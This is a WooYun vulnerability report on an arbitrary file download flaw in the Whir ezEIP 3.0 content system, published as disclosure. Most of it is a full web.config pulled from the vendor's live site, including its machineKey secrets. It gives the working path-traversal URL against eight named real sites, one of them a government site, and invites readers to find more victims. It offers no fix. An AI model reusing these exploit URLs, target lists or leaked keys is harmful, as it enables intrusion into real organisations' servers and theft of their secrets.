当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057764

漏洞标题:万户ezeip任意文件下载

相关厂商:wanhu.com.cn

漏洞作者: 好基友一辈子

提交时间:2014-04-20 14:00

修复时间:2014-07-16 14:01

公开时间:2014-07-16 14:01

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-20: 细节已通知厂商并且等待厂商处理中
2014-04-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-19: 细节向核心白帽子及相关领域专家公开
2014-06-29: 细节向普通白帽子公开
2014-07-09: 细节向实习白帽子公开
2014-07-16: 细节向公众公开

简要描述:

详细说明:

算是通用吧。。。

<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="urlrewritingnet" requirePermission="false" type="UrlRewritingNet.Configuration.UrlRewriteSection, UrlRewritingNet.UrlRewriter" />
<sectionGroup name="spring">
<section name="context" type="Spring.Context.Support.WebContextHandler, Spring.Web" />
<section name="objects" type="Spring.Context.Support.DefaultSectionHandler, Spring.Core" />
</sectionGroup>
<sectionGroup name="common">
<section name="logging" type="Common.Logging.ConfigurationSectionHandler, Common.Logging" />
</sectionGroup>
<section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler,log4net" />
<section name="cachingConfiguration" type="Microsoft.Practices.EnterpriseLibrary.Caching.Configuration.CacheManagerSettings,Microsoft.Practices.EnterpriseLibrary.Caching" />
<section name="eipSetting" type="Whir.ezEIP.Web.EIPSetting, Whir.ezEIP" />
<section name="neatUpload" type="Brettle.Web.NeatUpload.ConfigSectionHandler, Brettle.Web.NeatUpload" allowLocation="true" />
</configSections>
<spring>
<context>
<resource uri="~/config/Services.config" />
<resource uri="~/config/Pages.config" />
</context>
</spring>
<common>
<logging>
<factoryAdapter type="Common.Logging.Log4Net.Log4NetLoggerFactoryAdapter, Common.Logging.Log4Net">
<!-- choices are INLINE, FILE, FILE-WATCH, EXTERNAL-->
<!-- otherwise BasicConfigurer.Configure is used -->
<!-- log4net configuration file is specified with key configFile-->
<arg key="configType" value="INLINE" />
</factoryAdapter>
</logging>
</common>
<log4net>
<appender name="rootRollingFile" type="log4net.Appender.RollingFileAppender,log4net">
<threshold value="ALL" />
<param name="File" value="App_Data/protected/logs/" />
<param name="AppendToFile" value="true" />
<param name="RollingStyle" value="Date" />
<param name="DatePattern" value="yyyy-MM-dd.'log'" />
<param name="StaticLogFileName" value="false" />
<layout type="log4net.Layout.PatternLayout,log4net">
<param name="ConversionPattern" value="%date [%-5thread] [%-5level] [%logger] - %message%newline %exception" />
</layout>
</appender>
<root>
<level value="INFO" />
<!-- ALL, DEBUG, INFO, WARN, ERROR, FATAL, OFF -->
<appender-ref ref="rootRollingFile" />
</root>
</log4net>
<cachingConfiguration defaultCacheManager="Default_Cache_Manager">
<backingStores>
<add name="inMemory" type="Microsoft.Practices.EnterpriseLibrary.Caching.BackingStoreImplementations.NullBackingStore, Microsoft.Practices.EnterpriseLibrary.Caching" />
</backingStores>
<cacheManagers>
<add name="Default_Cache_Manager" expirationPollFrequencyInSeconds="60" maximumElementsInCacheBeforeScavenging="1000" numberToRemoveWhenScavenging="10" backingStoreName="inMemory" />
<add name="Whir_ezEIP3_LoginUserCacheManager" expirationPollFrequencyInSeconds="60" maximumElementsInCacheBeforeScavenging="1000" numberToRemoveWhenScavenging="10" backingStoreName="inMemory" />
<add name="Whir_ezEIP3_SiteInfoCacheManager" expirationPollFrequencyInSeconds="60" maximumElementsInCacheBeforeScavenging="1000" numberToRemoveWhenScavenging="10" backingStoreName="inMemory" />
<add name="Whir_ezEIP3_OY_MemberCacheManager" expirationPollFrequencyInSeconds="60" maximumElementsInCacheBeforeScavenging="1000" numberToRemoveWhenScavenging="10" backingStoreName="inMemory" />
<add name="Whir_ezEIP3_LableCacheManager" expirationPollFrequencyInSeconds="60" maximumElementsInCacheBeforeScavenging="1000" numberToRemoveWhenScavenging="10" backingStoreName="inMemory" />
</cacheManagers>
</cachingConfiguration>
<eipSetting productname="ezEIP 3.0" version="Whir ezEIP Website System 3.0" versiontype="Asp.Net" catchException="false" argumentExceptionMessage="传入参数有误!" adminpath="whir_system/" sysconfigfilepath="whir_system/configfiles/" uploadfilesdir="uploadfiles/" temporaryDir="App_Data/temp/" templateDir="template" templateDirInclude="include" baseTemp="res/basetemp/" adverDir="uploadfiles/adver/" />
<!--网站配置信息-->
<appSettings configSource="config\AppSettings.config" />
<connectionStrings />
<system.web>
<machineKey validationKey="8BFD2ECC6A29C731ABD40D0AE4DCB46920ACE1A1" decryptionKey="A7AB7AD599777BC83365EC71FC66FFF2D807494707C9D53C" decryption="3DES" validation="SHA1" />
<pages validateRequest="false" enableViewStateMac="true">
<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="whir" namespace="Wuqi.Webdiyer" assembly="AspNetPager" />
<add tagPrefix="whir" namespace="Whir.Controls.UI.WebControls" assembly="Whir.Controls" />
<add tagPrefix="whir" namespace="Whir.ezEIP.Web.Controls" assembly="Whir.ezEIP" />
<add tagPrefix="wtl" tagName="include" src="~/Whir_System/controls/labelcontrol/wtl_include.ascx" />
<add tagPrefix="wtl" tagName="form" src="~/Whir_System/controls/labelcontrol/wtl_form.ascx" />
<add tagPrefix="wtl" tagName="list" src="~/Whir_System/controls/labelcontrol/wtl_list.ascx" />
<add tagPrefix="wtl" tagName="page" src="~/Whir_System/controls/labelcontrol/wtl_page.ascx" />
<add tagPrefix="wtl" tagName="system" src="~/Whir_System/controls/labelcontrol/wtl_system.ascx" />
<add tagPrefix="wtl" tagName="infor" src="~/Whir_System/controls/labelcontrol/wtl_infor.ascx" />
<add tagPrefix="wtl" tagName="inforarea" src="~/Whir_System/controls/labelcontrol/wtl_inforarea.ascx" />
<add tagPrefix="wtl" tagName="column" src="~/Whir_System/controls/labelcontrol/wtl_column.ascx" />
<add tagPrefix="wtl" tagName="location" src="~/Whir_System/controls/labelcontrol/wtl_location.ascx" />
<add tagPrefix="wtl" tagName="menu" src="~/Whir_System/controls/labelcontrol/wtl_menu.ascx" />
<add tagPrefix="wtl" tagName="type" src="~/Whir_System/controls/labelcontrol/wtl_type.ascx" />
<add tagPrefix="wtl" tagName="play" src="~/Whir_System/controls/labelcontrol/wtl_play.ascx" />
<add tagPrefix="wtl" tagName="flash" src="~/Whir_System/controls/labelcontrol/wtl_flash.ascx" />
<add tagPrefix="wtl" tagName="video" src="~/Whir_System/controls/labelcontrol/wtl_video.ascx" />
<add tagPrefix="wtl" tagName="image" src="~/Whir_System/controls/labelcontrol/wtl_image.ascx" />
<add tagPrefix="wtl" tagName="service" src="~/Whir_System/controls/labelcontrol/wtl_service.ascx" />
<add tagPrefix="wtl" tagName="statis" src="~/Whir_System/controls/labelcontrol/wtl_statis.ascx" />
<add tagPrefix="wtl" tagName="photo" src="~/Whir_System/controls/labelcontrol/wtl_photo.ascx" />
<add tagPrefix="wtl" tagName="marquee" src="~/Whir_System/controls/labelcontrol/wtl_marquee.ascx" />
<add tagPrefix="wtl" tagName="url" src="~/Whir_System/controls/labelcontrol/wtl_url.ascx" />
<add tagPrefix="wtl" tagName="seo" src="~/Whir_System/controls/labelcontrol/wtl_seo.ascx" />
<add tagPrefix="wtl" tagName="comment" src="~/Whir_System/controls/labelcontrol/wtl_comment.ascx" />
<add tagPrefix="wtl" tagName="commentlist" src="~/Whir_System/controls/labelcontrol/wtl_commentlist.ascx" />
<add tagPrefix="wtl" tagName="search" src="~/Whir_System/controls/labelcontrol/wtl_search.ascx" />
<add tagPrefix="wtl" tagName="jobrequest" src="~/Whir_System/controls/labelcontrol/wtl_jobrequest.ascx" />
<add tagPrefix="wtl" tagName="resource" src="~/Whir_System/controls/labelcontrol/wtl_resource.ascx" />
<add tagPrefix="wtl" tagName="feedback" src="~/Whir_System/controls/labelcontrol/wtl_feedback.ascx" />
<add tagPrefix="wtl" tagName="forgetpassword" src="~/Whir_System/controls/pagecontrol/forgetpassword.ascx" />
<add tagPrefix="wtl" tagName="login" src="~/Whir_System/controls/pagecontrol/login.ascx" />
<add tagPrefix="wtl" tagName="register" src="~/Whir_System/controls/pagecontrol/register.ascx" />
<add tagPrefix="wtl" tagName="agreement" src="~/Whir_System/controls/pagecontrol/registeragreement.ascx" />
<add tagPrefix="wtl" tagName="memberinfo" src="~/Whir_System/controls/pagecontrol/memberinfo.ascx" />
<add tagPrefix="wtl" tagName="changepassword" src="~/Whir_System/controls/pagecontrol/changepassword.ascx" />
<add tagPrefix="wtl" tagName="leftmenu" src="~/Whir_System/controls/pagecontrol/LeftMenu.ascx" />
<add tagPrefix="wtl" tagName="editor" src="~/Whir_System/controls/Editor.ascx" />
</controls>
</pages>
<compilation debug="true">
<assemblies>
<add assembly="System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</assemblies>
<buildProviders>
<add extension=".html" type="System.Web.Compilation.PageBuildProvider" />
</buildProviders>
</compilation>
<!--
通过 <authentication> 节可以配置 ASP.NET 用来
识别进入用户的
安全身份验证模式。
-->
<authentication mode="Windows" />
<!--
如果在执行请求的过程中出现未处理的错误,
则通过 <customErrors> 节可以配置相应的处理步骤。具体说来,
开发人员通过该节可以配置
要显示的 html 错误页
以代替错误堆栈跟踪。
<customErrors mode="On" defaultRedirect="GenericErrorPage.htm">
<error statusCode="403" redirect="NoAccess.htm" />
<error statusCode="404" redirect="FileNotFound.htm" />
</customErrors>
-->
<customErrors mode="On" defaultRedirect="GenericErrorPage.htm">
<error statusCode="403" redirect="NoAccess.htm" />
<error statusCode="404" redirect="FileNotFound.htm" />
</customErrors>
<httpHandlers>
<add verb="*" path="*.html" type="System.Web.UI.PageHandlerFactory" />
<add verb="*" path="*.aspx" type="Spring.Web.Support.PageHandlerFactory, Spring.Web" />
<add verb="*" path="checkcode.ashx" type="Whir.ezEIP.Web.HttpHandlers.CheckCodeHandler, Whir.ezEIP" />
<add verb="*" path="gettreedata.ashx" type="Whir.ezEIP.Web.HttpHandlers.GetTreeData, Whir.ezEIP" />
<add verb="*" path="download.ashx" type="Whir.ezEIP.Web.HttpHandlers.DownloadHandler, Whir.ezEIP" />
<add verb="*" path="formsubmit.ashx" type="Whir.ezEIP.Web.HttpHandlers.FormSubmitHandler, Whir.ezEIP" />
<add verb="*" path="getarea.ashx" type="Whir.ezEIP.Web.HttpHandlers.GetArea, Whir.ezEIP" />
<add verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="false" />
</httpHandlers>
<httpModules>
<add name="SpringModule" type="Spring.Context.Support.WebSupportModule, Spring.Web" />
<add name="UploadHttpModule" type="Brettle.Web.NeatUpload.UploadHttpModule, Brettle.Web.NeatUpload" />
<add name="UrlRewriteModule" type="UrlRewritingNet.Web.UrlRewriteModule, UrlRewritingNet.UrlRewriter" />
</httpModules>
<httpRuntime maxRequestLength="2097151" executionTimeout="3600" />
</system.web>
<!-- 重定向 -->
<urlrewritingnet configSource="Config\UrlRewriteSettings.config" />
<!-- For IIS7's Integrated Pipeline Mode which is used by the DefaultAppPool. -->
<system.webServer>
<modules>
<add name="UploadHttpModule" type="Brettle.Web.NeatUpload.UploadHttpModule, Brettle.Web.NeatUpload" preCondition="managedHandler" />
<add name="SpringModule" type="Spring.Context.Support.WebSupportModule, Spring.Web" />
</modules>
<handlers>
<add name="html" path="*.html" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_isapi.dll" resourceType="Unspecified" preCondition="classicMode,runtimeVersionv2.0,bitness64" />
<add verb="*" name="checkcode" path="checkcode.ashx" type="Whir.ezEIP.Web.HttpHandlers.CheckCodeHandler, Whir.ezEIP" />
<add verb="*" name="gettreedata" path="gettreedata.ashx" type="Whir.ezEIP.Web.HttpHandlers.GetTreeData, Whir.ezEIP" />
<add verb="*" name="download" path="download.ashx" type="Whir.ezEIP.Web.HttpHandlers.DownloadHandler, Whir.ezEIP" />
<add verb="*" name="formsubmit" path="formsubmit.ashx" type="Whir.ezEIP.Web.HttpHandlers.FormSubmitHandler, Whir.ezEIP" />
<add verb="*" name="getarea" path="getarea.ashx" type="Whir.ezEIP.Web.HttpHandlers.GetArea, Whir.ezEIP" />
<add verb="*" name="SpringPageHandler" path="*.aspx" type="Spring.Web.Support.PageHandlerFactory, Spring.Web" />
<!--<add name="SpringPageHandler" verb="*" path="*.aspx" type="Spring.Web.Support.PageHandlerFactory, Spring.Web"/>-->
<add name="SpringContextMonitor" verb="*" path="ContextMonitor.ashx" type="Spring.Web.Support.ContextMonitor, Spring.Web" />
<!--Not using Spring web service support-->
<add name="SpringWebServiceSupport" verb="*" path="*.asmx" type="Spring.Web.Services.WebServiceHandlerFactory, Spring.Web" />
</handlers>
<validation validateIntegratedModeConfiguration="false" />
<rewrite>
<rules>

<rule name="rules_solution_detail_en"><match url="solution_en/([a-zA-Z0-9]+)_(\d+).html" /> <action type="Rewrite" url="siteen/solution_detail.aspx?PY={R:1}&amp;page={R:2}" /> </rule>
<rule name="rules_solution_detail_cn2"><match url="solution_detail_cn_([a-zA-Z0-9]+)_(\d+).html" /> <action type="Rewrite" url="sitecn/solution_detail.aspx?PY={R:1}&amp;page={R:2}" /> </rule>
<rule name="rules_solution_list_en"><match url="solution/solution_list_en_(\d+).html" /> <action type="Rewrite" url="siteen/solution_list.aspx?cid={R:1}" /> </rule>
<rule name="rules_solution_category_en"><match url="solution/solution_category_en_(\d+).html" /> <action type="Rewrite" url="siteen/solution_category.aspx?cid={R:1}" /> </rule>
<rule name="rules_product_category_en"><match url="product/product_category_en_(\d+).html" /> <action type="Rewrite" url="siteen/product_category.aspx?cid={R:1}" /> </rule>
<rule name="rules_product_list_en"><match url="product/product_list_en_(\d+).html" /> <action type="Rewrite" url="siteen/product_list.aspx?cid={R:1}" /> </rule>
<rule name="rules_product_category"><match url="product/product_category_cn_(\d+).html" /> <action type="Rewrite" url="sitecn/product_category.aspx?cid={R:1}" /> </rule>

<rule name="rules_product_list"><match url="product_list_cn_(\d+).html" /> <action type="Rewrite" url="sitecn/product_list.aspx?cid={R:1}" /> </rule>

<rule name="rules_product_detail"><match url="product/product_detail_cn_(\d+).html" /> <action type="Rewrite" url="sitecn/product_detail.aspx?pid={R:1}" /> </rule>
<rule name="rules_product_index"><match url="sitecn/product/index.html" /> <action type="Rewrite" url="sitecn/product.aspx" /> </rule>
<rule name="rules_product_index_en1" stopProcessing="true"><match url="siteen/product/index.html" /> <action type="Rewrite" url="siteen/product/index.html" /> </rule>
<rule name="rules_product_detail_PY"><match url="product/([a-zA-Z0-9]+).html" /> <action type="Rewrite" url="sitecn/product_detail.aspx?PY={R:1}" /> </rule>
<rule name="rules_solution_index"><match url="solution/index.html" /> <action type="Rewrite" url="sitecn/solution.aspx" /> </rule>
<rule name="rules_solution_list"><match url="solution_list_cn_(\d+).html" /> <action type="Rewrite" url="sitecn/solution_list.aspx?cid={R:1}" /> </rule>
<rule name="rules_solution_detail"><match url="solution/([a-zA-Z0-9]+)_(\d+).html" /> <action type="Rewrite" url="sitecn/solution_detail.aspx?PY={R:1}&amp;page={R:2}" /> </rule>
<rule name="rules_solution_category"><match url="solution/solution_category_cn_(\d+).html" /> <action type="Rewrite" url="sitecn/solution_category.aspx?cid={R:1}" /> </rule>
<rule name="rules_news_detail_PY">
<match url="sitecn/news/([a-zA-Z0-9]+).html" />
<action type="Rewrite" url="sitecn/news_detail.aspx?PY={R:1}" />
</rule>

<rule name="rules_product_detail_en"><match url="product/product_detail_en_(\d+).html" /> <action type="Rewrite" url="siteen/product_detail.aspx?pid={R:1}" /> </rule>

<rule name="rules_product_index_en"><match url="product/indexen.html" /> <action type="Rewrite" url="siteen/product.aspx" /> </rule>
<rule name="rules_product_detail_PY_en"><match url="product_en_([a-zA-Z0-9]+).html" /> <action type="Rewrite" url="siteen/product_detail.aspx?PY={R:1}" /> </rule>
<rule name="rules_solution_index_en">
<match url="solution/indexen.html" /> <action type="Rewrite" url="siteen/solution.aspx" /> </rule>
<!--<rule name="rules_news_detail_PY_en"><match url="siteen/news/([a-zA-Z0-9]+).html" />
<action type="Rewrite" url="siteen/news_detail.aspx?PY={R:1}" /> </rule>-->


</rules>
</rewrite>
<defaultDocument>
<files>
<clear />
<add value="index.html" />
<add value="default.aspx" />
<add value="Default.htm" />
<add value="Default.asp" />
<add value="index.htm" />
<add value="iisstart.htm" />
</files>
</defaultDocument>
</system.webServer>
</configuration>

漏洞证明:

ezeip任意文件下载漏洞
测试地址:http://www.wanhu.com.cn/download.ashx?files=../web.config

QQ图片20140419194234.jpg


测试几个网站均有此漏洞
http://www.sontanedu.cn/download.ashx?files=../web.config
http://www.epccn.com/download.ashx?files=../web.config
http://zwgk.tl.gov.cn//download.ashx?files=../web.config
http://www.gzwanbao.com/download.ashx?files=../web.config
http://www.bb1y.com/download.ashx?files=../web.config
http://www.zsty.org/download.ashx?files=../web.config
百度前十个网站。全部存在。其他自己挖掘吧。

修复方案:

来个邀请码

版权声明:转载请注明来源 好基友一辈子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-16 14:01

厂商回复:

最新状态:

2014-04-25:sorry,一时工作较忙,忘了在时间点进行确认。该漏洞已经复现多个实例,并由CNVD向软件生产厂商通报。主要涉及商业公司,政府的后续待处置。经验证,主要涉及3.0版本。